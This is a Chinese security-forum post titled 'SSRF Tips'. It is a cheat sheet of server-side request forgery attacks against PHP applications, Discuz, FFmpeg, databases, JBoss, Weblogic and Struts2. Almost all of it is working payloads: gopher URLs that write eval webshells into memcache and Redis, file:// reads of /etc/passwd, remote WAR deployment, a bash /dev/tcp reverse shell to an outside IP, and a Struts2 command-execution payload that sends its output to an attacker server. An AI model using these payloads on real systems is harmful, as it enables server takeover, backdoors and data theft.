搜索
查看: 226|回复: 0

SSRF Tips

[复制链接]

26

主题

29

帖子

147

积分

我是新手

Rank: 1

积分
147
发表于 2016-7-23 18:12:47 | 显示全部楼层 |阅读模式
SSRF PHP function


  1. file_get_contents()
  2. fsockopen()
  3. curl_exec()
复制代码

URL schema support

SFTP



  1. http://test.com/ssrf.php?url=s[url]ftp://evil.com:11111/[/url]

  2. evil.com:$ nc -v -l 11111
  3. Connection from [192.168.0.10] port 11111 [tcp/*] accepted (family 2, sport 36136)
  4. SSH-2.0-libssh2_1.4.2
复制代码

Dict



  1. http://test.com/ssrf.php?dict://attacker:11111/

  2. evil.com:$ nc -v -l 11111
  3. Connection from [192.168.0.10] port 11111 [tcp/*] accepted (family 2, sport 36136)
  4. CLIENT libcurl 7.40.0

复制代码

gopher

  1. // [url]http://test.com/ssrf.php?url=http://evil.com/gopher.php[/url]
  2. <?php
  3.         header('Location: [url]gopher://evil.com:12346/_HI%0AMultiline%0Atest'[/url]);
  4. ?>

  5. evil.com:# nc -v -l 12346
  6. Listening on [0.0.0.0] (family 0, port 12346)
  7. Connection from [192.168.0.10] port 12346 [tcp/*] accepted (family 2, sport 49398)
  8. HI
  9. Multiline
  10. test
复制代码

TFTP

  1. http://test.com/ssrf.php?url=t[url]ftp://evil.com:12346/TESTUDPPACKET[/url]

  2. evil.com:# nc -v -u -l 12346
  3. Listening on [0.0.0.0] (family 0, port 12346)
  4. TESTUDPPACKEToctettsize0blksize512timeout6
复制代码

file

  1. http://test.com/redirect.php?url=file:///etc/passwd
复制代码

ldap

  1. http://test.com/redirect.php?url=ldap://localhost:11211/%0astats%0aquit
复制代码

PHP-FPM

PHP-FPM universal SSRF bypass safe_mode/disabled_functions/o exploit

SSRF memcache Getshell

Generate serialize

  1. <?php
  2.     $code=array('global_start'=>'@eval($_REQUEST[\'eval\']);');
  3.     echo serialize($code)."\n".strlen(serialize($code));
复制代码

Output

  1. a:1:{s:12:"global_start";s:25:"@eval($_REQUEST['eval']);";} //序列化数据
  2. 59  //字符串长度
复制代码

webshell.php


  1. <?php
  2. //gopher可以换成如上其它方式
  3.     header('Location: gopher://[target ip]:11211/_%0d%0aset ssrftest 1 0 147%0d%0aa:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";s:5:"/.*/e";s:7:"replace";s:33:"eval(base64_decode($_POST[ccc]));";}}s:13:"rewritestatus";i:1;}%0d%0a');
  4. ?>
复制代码

back.php



  1. <?php
  2.     header('Location: [url]gopher://192.168.10.12:11211/_%0d%0adelete[/url] ssrftest%0d%0a');
  3. ?>

复制代码

example Discuz

open the website

  1. http://bbs.test.com/forum.php?mod=ajax&action=downremoteimg&message=[img]http://myvps/webshell.php?logo.jpg[/img]
  2. http://bbs.test.com/forum.php?mod=ajax&inajax=yes&action=getthreadtypes
复制代码
clear data
  1. http://bbs.test.com/forum.php?mod=ajax&action=downremoteimg&message=[img]http://myserver/back.php?logo.jpg[/img]
复制代码
backdoor url
  1. http://bbs.test.com/data/cache/hello.php
复制代码

SSRF Redis Getshell

Generate serialize

  1. <?php
  2.     $a['output']['preg']['search']['plugins'] = '/.*/e';
  3.     $a['output']['preg']['replace']['plugins'] = '@eval($_POST['c']);';
  4.     $a['rewritestatus']=1;
  5.     $setting = serialize($a);
  6.     echo $setting."\n".strlen($setting);
  7. ?>
复制代码
Output
  1. a:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";a:1:{s:7:"plugins";s:5:"/.*/e";}s:7:"replace";a:1:{s:7:"plugins";s:19:"@eval($_POST["c"]);";}}}s:13:"rewritestatus";i:1;}     //序列化数据
  2. 173     //字符串长度
复制代码

example Discuz

Open website

  1. http://192.168.80.116/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://you-vps-ip/ssrf.php?.jpg[/img]&formhash=818c8f44
复制代码

Backdoor website

  1. http://192.168.80.116/forum.php?mod=ajax&inajax=yes&action=getthreadtypes
复制代码

FFmpeg

cat test.jpg



  1. #EXTM3U
  2. #EXT-X-MEDIA-SEQUENCE:0
  3. #EXTINF:10.0,
  4. concat:http://example.org/header.m3u8|file:///etc/passwd
  5. #EXT-X-ENDLIST
复制代码

subfile



  1. #EXTM3U
  2. #EXT-X-MEDIA-SEQUENCE:0
  3. #EXTINF:10.0,
  4. concat:http://localhost/header.m3u8|subfile,,start,0,end,64,,:///etc/passwdconcat:http://localhost/header.m3u8|subfile,,start,64,end,128,,:///etc/passwdconcat:http://localhost/header.m3u8|subfile,,start,128,end,256,,:///etc/passwdconcat:http://localhost/header.m3u8|subfile,,start,256,end,512,,:///etc/passwd
  5. #EXT-X-ENDLIST
复制代码

Postgresql

Exploit

  1. > SELECT dblink_send_query('host=127.0.0.1 dbname=quit user=\'\nstats\n\' password=1 port=11211 sslmode=disable','select
  2. version();');
复制代码

MongoDB

Exploit



  1. > db.copyDatabase("\1\2\3\4\5\6\7",'test','localhost:8000')
  2. > nc -l 8000 | hexdump -C
  3. > db.copyDatabase(“\nstats\nquit”,’test’,’localhost:11211’)
复制代码

CouchDB

exploit

  1. http://localhost:5984/_users/_all_docs
复制代码


  1. HTTP/1.1 200 OK
  2. Server: CouchDB/1.2.0 (Erlang OTP/R15B01)
  3. ETag: "BD1WV12007V05JTG4X6YHIHCA"
  4. Date: Tue, 18 Dec 2012 21:39:59 GMT
  5. Content-Type: text/plain; charset=utf-8
  6. Cache-Control: must-revalidate

  7. {"total_rows":1,"offset":0,"rows":[
  8. {"id":"_design/_auth","key":"_design/_auth","value":{"rev":"1-a8cfb993654bcc635f126724d39eb930"}}
  9. ]}

  10. HTTP/1.1 200 OK
  11. Server: CouchDB/1.2.0 (Erlang OTP/R15B01)
  12. ETag: "BD1WV12007V05JTG4X6YHIHCA"
  13. Date: Tue, 18 Dec 2012 21:39:59 GMT
  14. Content-Type: text/plain; charset=utf-8
  15. Cache-Control: must-revalidate

  16. {"total_rows":1,"offset":0,"rows":[
  17. {"id":"_design/_auth","key":"_design/_auth","value":{"rev":"1-a8cfb993654bcc635f126724d39eb930"}}
  18. ]}
复制代码

Attacker could also send requests from CouchDB server to intranet by using replication function


  1. POST http://couchdb:5984/_replicate
  2. Content-Type: application/json
  3. Accept: application/json

  4. {
  5.     "source" : "recipes",
  6.     "target" : "http://ssrf-me:11211/recipes",
  7. }
复制代码

Jboss

Jbosss POC

  1. /jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://our_public_internet_server/utils/cmd.war
复制代码
写入shell
  1. http://target.com/ueditor/jsp/getRemoteImage.jsp
  2. POST:
  3.     upfile=http://10.0.0.1:8080/jmx-console/HtmlAdaptor?action=invokeOp%26name=jboss.system%3Aservice%3DMainDeployer%26methodIndex=3%26arg0=http%3A%2F%2F远端地址%2Fhtml5.war%23.jpg
复制代码


  1. http://target.com/ueditor/jsp/getRemoteImage.jsp
  2. POST:
  3.     upfile=http://内网IP:8080/html5/023.jsp%23.jpg
复制代码
reverse shell
  1. bash -i >& /dev/tcp/123.45.67.89/9999 0>&1
复制代码

Weblogic

gopher.php


  1. <?php
  2.    header("Location:gopher://vps-ip:2333/_test");
  3. ?>
复制代码

vuln website

  1. https://example.com/uddiexplorer/SearchPublicRegistries.jsp
  2. POST:
  3.     operator=http://vps-ip/gopher.php&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location
复制代码

vps


  1. > nc -lvv 2333

  2. Connection from xx.xx.xx.xx port 2333 [tcp/snapp] accepted
复制代码

Local File Read

  1. http://www.xxx.com/redirect.php?url=file:///etc/passwd
  2. http://www.xxx.com/redirect.php?url=file:///C:/Windows/win.ini
复制代码

Bool SSRF

Struts2-016 POC


  1. ?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SERVER/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}
  2. //修改SERVER为你vps地址,返回结果在access.log中查看
复制代码

SSRF Proxy

SSRF_Proxy

ssrfsocks


您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表